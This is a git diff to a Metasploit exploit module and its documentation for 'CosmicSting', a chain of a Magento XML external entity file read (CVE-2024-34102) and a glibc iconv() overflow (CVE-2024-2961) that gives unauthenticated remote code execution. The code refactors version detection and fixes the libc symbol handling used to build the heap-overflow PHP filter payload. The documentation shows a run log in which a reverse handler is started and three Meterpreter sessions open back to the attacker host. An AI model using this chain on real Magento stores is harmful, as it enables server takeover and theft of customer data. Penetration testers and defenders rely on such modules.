diff --git a/documentation/modules/exploit/linux/http/magento_xxe_to_glibc_buf_overflow.md b/documentation/modules/exploit/linux/http/magento_xxe_to_glibc_buf_overflow.md index 312f141cdaf4..9b4516a942f4 100644 --- a/documentation/modules/exploit/linux/http/magento_xxe_to_glibc_buf_overflow.md +++ b/documentation/modules/exploit/linux/http/magento_xxe_to_glibc_buf_overflow.md @@ -2,29 +2,26 @@ This combination of an Arbitrary File Read (CVE-2024-34102) and a Buffer Overflow in glibc (CVE-2024-2961) allows for unauthenticated Remote Code Execution on the following versions of Magento and Adobe Commerce and earlier if the PHP and glibc versions are also vulnerable: - - 2.4.7 and earlier - - 2.4.6-p5 and earlier - - 2.4.5-p7 and earlier - - 2.4.4-p8 and earlier +- 2.4.7 and earlier +- 2.4.6-p5 and earlier +- 2.4.5-p7 and earlier +- 2.4.4-p8 and earlier -Vulenerable PHP versions: - - From PHP 7.0.0 (2015) to 8.3.7 (2024) +Vulnerable PHP versions: +- From PHP 7.0.0 (2015) to 8.3.7 (2024) Vulnerable iconv() function in the GNU C Library: - - 2.39 and earlier +- 2.39 and earlier -The exploit chain is quite interesting and for more detailed information I suggest reading the links in the -references. I'll give a very brief over view. CVE-2024-34102 is and XML External Entity vulnerability which -leverages PHP filters to read arbitrary files off the target system. The exploit chain uses this to read -/proc/self/maps off the system which provides the address of PHP's heap and the filename of the libc. Then -using the file read again the libc binary is downloaded and the exploit extracts the address and offset of the -following functions which are used to write the payload: libc_malloc, libc_system and libc_realloc. +The exploit chain is quite interesting and for more detailed information check out the references. The tl;dr being: +CVE-2024-34102 is an XML External Entity vulnerability leveraging PHP filters to read arbitrary files from the target +system. The exploit chain uses this to read /proc/self/maps, providing the address of PHP's heap and the libc's filename. +The libc is then downloaded, and the offsets of libc_malloc, libc_system and libc_realloc are extracted, and made use +of later in the chain. -With this information and expert knowledge of PHP, it's: chunks, free lists, buckets, bucket brigades and how -all such things are are stored in memory and affected by PHP filters, CVE-2024-2961 can then be exploited. A -long chain of PHP filters is constructed and sent in the same way the XXE is exploited which allows for; a -payload to be written to memory and for the buffer overflow to be exploited in order to redirect execution to -obtain RCE. +With this information and expert knowledge of PHP's heap (chunks, free lists, buckets, bucket brigades), CVE-2024-2961 +can be exploited. A long chain of PHP filters is constructed and sent in the same way the XXE is exploited, building a +payload in memory and using the buffer overflow to execute it, resulting in an unauthenticated RCE. ### Setup @@ -100,7 +97,7 @@ exploits the Arbitrary File Read vulnerability CVE-2024-34102. 1. Receive 3 Meterpreter sessions as the `daemon` user. ## Scenarios -### +### Magento/2.4 (Community) running PHP 8.2.17, GLIBC 2.36-9+deb12u4 ``` msf6 > use magento_xxe_to_glibc_buf_overflow @@ -109,7 +106,7 @@ Matching Modules # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- - 0 exploit/linux/http/magento_xxe_to_glibc_buf_overflow 1970-01-01 excellent No CosmicSting: Magento Arbitrary File Read (CVE-2024-34102) + PHP Buffer Overflow in the iconv() function of glibc (CVE-2024-2961) + 0 exploit/linux/http/magento_xxe_to_glibc_buf_overflow 2024-07-26 excellent No CosmicSting: Magento Arbitrary File Read (CVE-2024-34102) + PHP Buffer Overflow in the iconv() function of glibc (CVE-2024-2961) Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/magento_xxe_to_glibc_buf_overflow @@ -123,8 +120,7 @@ fetch_srvhost => 172.16.199.130 msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > set rhost localhost rhost => localhost msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > run -[*] Exploit running as background job 6. - +[*] Exploit running as background job 8. [*] Started reverse TCP handler on 172.16.199.130:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Using URL: http://172.16.199.130:8080/ @@ -137,12 +133,12 @@ msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > [*] Attempting to parse libc to extract necessary symbols and addresses [*] Attempting to build an exploit PHP filter path with the information extracted from libc and /proc/self/maps [*] Sending payload... -[*] Sending stage (3045380 bytes) to 172.25.0.4 -[*] Sending stage (3045380 bytes) to 172.25.0.4 -[*] Sending stage (3045380 bytes) to 172.25.0.4 -[*] Meterpreter session 4 opened (172.16.199.130:4444 -> 172.25.0.4:41354) at 2024-10-09 11:26:31 -0700 -[*] Meterpreter session 5 opened (172.16.199.130:4444 -> 172.25.0.4:41366) at 2024-10-09 11:26:31 -0700 -[*] Meterpreter session 6 opened (172.16.199.130:4444 -> 172.25.0.4:41370) at 2024-10-09 11:26:31 -0700 +[*] Sending stage (3045380 bytes) to 172.30.0.4 +[*] Sending stage (3045380 bytes) to 172.30.0.4 +[*] Sending stage (3045380 bytes) to 172.30.0.4 +[*] Meterpreter session 1 opened (172.16.199.130:4444 -> 172.30.0.4:35510) at 2024-10-09 22:25:38 -0700 +[*] Meterpreter session 2 opened (172.16.199.130:4444 -> 172.30.0.4:35520) at 2024-10-09 22:25:38 -0700 +[*] Meterpreter session 3 opened (172.16.199.130:4444 -> 172.30.0.4:35524) at 2024-10-09 22:25:38 -0700 [*] Server stopped. msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > sessions -i -1 diff --git a/lib/msf/core/exploit/remote/http/magento.rb b/lib/msf/core/exploit/remote/http/magento.rb new file mode 100644 index 000000000000..0f8a11baefda --- /dev/null +++ b/lib/msf/core/exploit/remote/http/magento.rb @@ -0,0 +1,36 @@ +module Msf + class Exploit + class Remote + module HTTP + module Magento + def initialize(info = {}) + super + end + + # Extracts the Magento version information from the /magento_version page + # + # @return [Hash] Containing the keys 'version' and 'edition' + def magento_version + vprint_status('Trying to get the Magento version') + + # request to check if the target is vulnerable /magento_version + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/magento_version') + }) + + return unless res&.code == 200 + + # Magento/2.4 (Community) + version, edition = res.body.scan(%r{Magento/([\d.]+) \(([^)]+)\)}).first + + version = Rex::Version.new(version) + + { 'version' => version, 'edition' => edition } + end + + end + end + end + end +end diff --git a/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb b/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb index 9e15ef20b2a6..7fc8640b99cc 100644 --- a/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb +++ b/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Remote::HTTP::Magento include Msf::Exploit::Retry prepend Msf::Exploit::Remote::AutoCheck require 'elftools' @@ -38,13 +39,14 @@ def initialize(info = {}) Vulnerable iconv() function in the GNU C Library: - 2.39 and earlier - The exploit chain is quite interesting and for more detailed information check out the - references. The tl;dr being: CVE-2024-34102 is an XML External Entity vulnerability leveraging PHP filters to read arbitrary files from the target system. The exploit chain uses this to read - /proc/self/maps, providing the address of PHP's heap and the libc's filename. - The libc is then downloaded, and the offsets of libc_malloc, libc_system and libc_realloc are extracted, and made use of later in the chain. + The exploit chain is quite interesting and for more detailed information check out the references. The tl;dr being: + CVE-2024-34102 is an XML External Entity vulnerability leveraging PHP filters to read arbitrary files from the target + system. The exploit chain uses this to read /proc/self/maps, providing the address of PHP's heap and the libc's filename. + The libc is then downloaded, and the offsets of libc_malloc, libc_system and libc_realloc are extracted, and made use + of later in the chain. - With this information and expert knowledge of PHP's heap (chunks, free lists, buckets, bucket brigades), CVE-2024-2961 can be exploited. A - long chain of PHP filters is constructed and sent in the same way the XXE is exploited, building a + With this information and expert knowledge of PHP's heap (chunks, free lists, buckets, bucket brigades), CVE-2024-2961 + can be exploited. A long chain of PHP filters is constructed and sent in the same way the XXE is exploited, building a payload in memory and using the buffer overflow to execute it, resulting in an unauthenticated RCE. }, 'Author' => [ @@ -95,34 +97,22 @@ def initialize(info = {}) end def check_magento_version - vprint_status('Trying to get the Magento version') - - # request to check if the target is vulnerable /magento_version - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, '/magento_version') - }) - - return CheckCode::Unknown('Could not detect the version.') unless res&.code == 200 - - # Magento/2.4 (Community) - version, edition = res.body.scan(%r{Magento/([\d.]+) \(([^)]+)\)}).first - - version = Rex::Version.new(version) - - return CheckCode::Safe("Detected Magento #{edition} edition version #{version} which is not vulnerable") unless - version <= (Rex::Version.new('2.4.7')) || - version <= (Rex::Version.new('2.4.6-p5')) || - version <= (Rex::Version.new('2.4.5-p7')) || - version <= (Rex::Version.new('2.4.4-p8')) || + version_info = magento_version + return CheckCode::Unknown('Could not detect the version.') unless version_info + + return CheckCode::Safe("Detected Magento #{version_info['edition']} edition version #{version_info['version']} which is not vulnerable") unless + version_info['version'] <= (Rex::Version.new('2.4.7')) || + version_info['version'] <= (Rex::Version.new('2.4.6-p5')) || + version_info['version'] <= (Rex::Version.new('2.4.5-p7')) || + version_info['version'] <= (Rex::Version.new('2.4.4-p8')) || ( - edition == 'Enterprise' && ( - version <= (Rex::Version.new('2.4.3-ext-7')) || - version <= (Rex::Version.new('2.4.2-ext-7')) + version_info['edition'] == 'Enterprise' && ( + version_info['version'] <= (Rex::Version.new('2.4.3-ext-7')) || + version_info['version'] <= (Rex::Version.new('2.4.2-ext-7')) ) ) - CheckCode::Appears("Exploit precondition 1/3 met: Detected Magento #{edition} edition version #{version} which is vulnerable.") + CheckCode::Appears("Exploit precondition 1/3 met: Detected Magento #{version_info['edition']} edition version #{version_info['version']} which is vulnerable.") end def check_php_rce_requirements @@ -134,7 +124,7 @@ def check_php_rce_requirements if result1 == text vprint_good('The data wrapper is working') else - return CheckCode::Safe('The [i]data://[/] wrapper does not work') + return CheckCode::Safe('The data:// wrapper does not work') end text = Rex::Text.rand_text_alpha(50) @@ -145,7 +135,7 @@ def check_php_rce_requirements if result2 == text vprint_good('The filter wrapper is working') else - return CheckCode::Safe('The [i]php://filter/[/] wrapper does not work') + return CheckCode::Safe('The php://filter/ wrapper does not work') end text = Rex::Text.rand_text_alpha(50) @@ -155,9 +145,9 @@ def check_php_rce_requirements path = "php://filter/zlib.inflate/resource=data:text/plain;base64,#{base64}" result3 = download_file(path) if result3 == text - vprint_good('the zlib filter is working') + vprint_good('The zlib extension is enabled') else - CheckCode::Safe('The [i]php://filter/[/] wrapper does not work') + CheckCode::Safe('The zlib extension is not enabled') end CheckCode::Appears('Exploit precondition 2/3 met: PHP appears to be exploitable.') end @@ -186,9 +176,9 @@ def check_libc_version print_bad('Libc Version NOT FOUND') unless libc_version if libc_version > Rex::Version.new('2.39') - CheckCode::Safe("glibc version is not vulnerable: #{libc_version}") + CheckCode::Safe("glibc version is not vulnerable: #{libc_version}") end - + CheckCode::Appears("Exploit precondition 3/3 met: glibc is version: #{libc_version}") end @@ -256,13 +246,7 @@ def send_path(path) res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, '/rest/V1/guest-carts/test-ambio/estimate-shipping-methods'), - 'headers' => { - 'Accept' => '*/*', - 'Accept-Language' => 'en-US,en;q=0.5', - 'Accept-Encoding' => 'gzip, deflate', - 'Connection' => 'keep-alive' - }, + 'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{Rex::Text.rand_text_alpha(32)}/estimate-shipping-methods"), 'ctype' => 'application/json', 'data' => JSON.generate(json) }) @@ -334,9 +318,9 @@ def get_symbols_and_addresses symtab_section = elf.section_by_name('.dynsym') symbols = symtab_section.symbols - @info['libc_malloc'] = nil - @info['libc_system'] = nil - @info['libc_realloc'] = nil + @info['__libc_malloc'] = nil + @info['__libc_system'] = nil + @info['__libc_realloc'] = nil symbols.each do |symbol| if ['__libc_malloc', '__libc_system', '__libc_realloc'].include? symbol.name @@ -344,10 +328,10 @@ def get_symbols_and_addresses end end - fail_with(Failure::BadConfig, 'Unable to get necessary symbols from libc.so') unless @info['libc_malloc'] && @info['libc_system'] && @info['libc_realloc'] - vprint_status("libc_malloc: #{@info['libc_malloc']}") - vprint_status("libc_system: #{@info['libc_system']}") - vprint_status("libc_realloc: #{@info['libc_realloc']}") + fail_with(Failure::BadConfig, 'Unable to get necessary symbols from libc.so') unless @info['__libc_malloc'] && @info['__libc_system'] && @info['__libc_realloc'] + vprint_status("__libc_malloc: #{@info['__libc_malloc']}") + vprint_status("__libc_system: #{@info['__libc_system']}") + vprint_status("__libc_realloc: #{@info['__libc_realloc']}") end def get_regions @@ -369,9 +353,10 @@ def get_regions permissions = match[3] path = match[4] - path = '' if path.include?('/') || path.include?('[') path = path.split(' ', 4).last + else + path = '' end current = { @@ -520,7 +505,7 @@ def build_exploit_path size: cs ) - step4_custom_heap = ptr_bucket(@info['libc_malloc'], @info['libc_system'], @info['libc_realloc'], size: 0x18) + step4_custom_heap = ptr_bucket(@info['__libc_malloc'], @info['__libc_system'], @info['__libc_realloc'], size: 0x18) step4_use_custom_heap_size = 0x140 command = payload.encoded